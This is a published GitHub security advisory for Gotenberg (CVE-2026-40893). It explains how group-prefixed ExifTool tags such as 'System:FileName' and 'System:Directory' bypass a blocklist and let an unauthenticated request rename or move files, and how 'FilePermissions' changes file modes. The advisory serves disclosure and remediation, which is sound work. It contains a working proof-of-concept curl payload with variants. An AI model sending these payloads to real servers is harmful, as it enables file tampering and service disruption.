GHSA-62P3-HVXX-FXG4
Vulnerability from github – Published: 2026-05-04 19:21 – Updated: 2026-05-14 20:51Summary
Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.
This bypasses the fix from GHSA-qmwh-9m9c-h36m.
Details
Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.
That's exactly what happens here:
The blocklist (exiftool.go line 275-280) blocks these tag names:
FileName
Directory
HardLink
SymLink
The check (exiftool.go line 295-301) compares what the user sent against this list:
if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?
delete(metadata, key) // no — so it's NOT deleted
}
System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.
But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: "A tag name may include leading group names separated by colons."
Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
// ^ colon is allowed
So the full chain is:
- Attacker sends
System:FileName→ passes the regex (colon is allowed) System:FileName→ passes the blocklist (it's not equal toFileName)- ExifTool receives
System:FileName→ treats it asFileName→ renames the file
Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.
PoC
Setup — start Gotenberg with default settings:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
Create a folder inside the container where we'll move the file to:
docker exec gotenberg-poc mkdir -p /tmp/evil
Send the attack — one curl command:
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F 'files=@any-pdf-file.pdf' \
-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
This returns HTTP 404 because the file got moved before the server could return it.
Check that the file actually moved:
docker exec gotenberg-poc ls -la /tmp/evil/
Result:
-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf
The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.
Proof that the existing blocklist works for bare names (control test):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F 'files=@any-pdf-file.pdf' \
-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'
This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.
Other ways to exploit the same bug:
system:filename(lowercase) — also works because ExifTool is case-insensitivesystem:directory— moves the file to any writable folderFilePermissions— changes the file's permissions (this tag is simply missing from the blocklist entirely)
Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.
Impact
Any person who can send HTTP requests to Gotenberg (no login needed by default) can:
- Move files anywhere inside the container by using
System:Directory - Rename files to anything by using
System:FileName - Change file permissions by using
FilePermissions(this tag is not blocked at all) - Break the service for other users — when a file gets moved mid-request, the server returns 404 errors
In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.30.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40893"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T19:21:19Z",
"nvd_published_at": "2026-05-14T16:16:20Z",
"severity": "HIGH"
},
"details": "### Summary\n\nGotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag \u2014 `System:FileName` \u2014 which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.\n\nThis bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).\n\n### Details\n\nThink of it like a nightclub bouncer with a blocklist of banned names. The blocklist says \"Block anyone named **John**.\" A person shows up and says \"I\u0027m **Mr. John**.\" The bouncer checks \u2014 \"Mr. John\" is not \"John\" \u2014 so he lets them in. But inside the club, everyone knows Mr. John IS John.\n\nThat\u0027s exactly what happens here:\n\n**The blocklist** (`exiftool.go` line 275-280) blocks these tag names:\n\n```\nFileName\nDirectory\nHardLink\nSymLink\n```\n\n**The check** (`exiftool.go` line 295-301) compares what the user sent against this list:\n\n```go\nif strings.EqualFold(key, tag) { // is \"System:FileName\" equal to \"FileName\"?\n delete(metadata, key) // no \u2014 so it\u0027s NOT deleted\n}\n```\n\n`System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through.\n\n**But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix \u2014 like a folder name before the tag. `System:FileName` and `FileName` both mean \"rename this file.\" The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *\"A tag name may include leading group names separated by colons.\"*\n\n**Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons:\n\n```go\nvar safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\\-_.:]+$`)\n// ^ colon is allowed\n```\n\nSo the full chain is:\n\n1. Attacker sends `System:FileName` \u2192 passes the regex (colon is allowed)\n2. `System:FileName` \u2192 passes the blocklist (it\u0027s not equal to `FileName`)\n3. ExifTool receives `System:FileName` \u2192 treats it as `FileName` \u2192 **renames the file**\n\n**Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{\"FilePermissions\": \"rwxrwxrwx\"}` tells ExifTool to chmod the file, and nothing stops it.\n\n### PoC\n\n**Setup \u2014 start Gotenberg with default settings:**\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\n\n**Create a folder inside the container where we\u0027ll move the file to:**\n\n```bash\ndocker exec gotenberg-poc mkdir -p /tmp/evil\n```\n\n**Send the attack \u2014 one curl command:**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F \u0027files=@any-pdf-file.pdf\u0027 \\\n -F \u0027metadata={\"System:FileName\":\"stolen.pdf\",\"System:Directory\":\"/tmp/evil\"}\u0027\n```\n\nThis returns HTTP 404 because the file got moved before the server could return it.\n\n**Check that the file actually moved:**\n\n```bash\ndocker exec gotenberg-poc ls -la /tmp/evil/\n```\n\n**Result:**\n\n```\n-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf\n```\n\nThe file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory \u2014 exactly what the blocklist was supposed to prevent.\n\n**Proof that the existing blocklist works for bare names (control test):**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F \u0027files=@any-pdf-file.pdf\u0027 \\\n -F \u0027metadata={\"FileName\":\"stolen.pdf\",\"Directory\":\"/tmp/evil\"}\u0027\n```\n\nThis returns HTTP 500 \u2014 the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through.\n\n**Other ways to exploit the same bug:**\n\n- `system:filename` (lowercase) \u2014 also works because ExifTool is case-insensitive\n- `system:directory` \u2014 moves the file to any writable folder\n- `FilePermissions` \u2014 changes the file\u0027s permissions (this tag is simply missing from the blocklist entirely)\n\n**Every endpoint that accepts the `metadata` field is affected**, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes.\n\n### Impact\n\nAny person who can send HTTP requests to Gotenberg (no login needed by default) can:\n\n- **Move files anywhere** inside the container by using `System:Directory`\n- **Rename files** to anything by using `System:FileName`\n- **Change file permissions** by using `FilePermissions` (this tag is not blocked at all)\n- **Break the service** for other users \u2014 when a file gets moved mid-request, the server returns 404 errors\n\nIn real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder \u2014 potentially affecting whatever service reads files from there.",
"id": "GHSA-62p3-hvxx-fxg4",
"modified": "2026-05-14T20:51:32Z",
"published": "2026-05-04T19:21:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40893"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.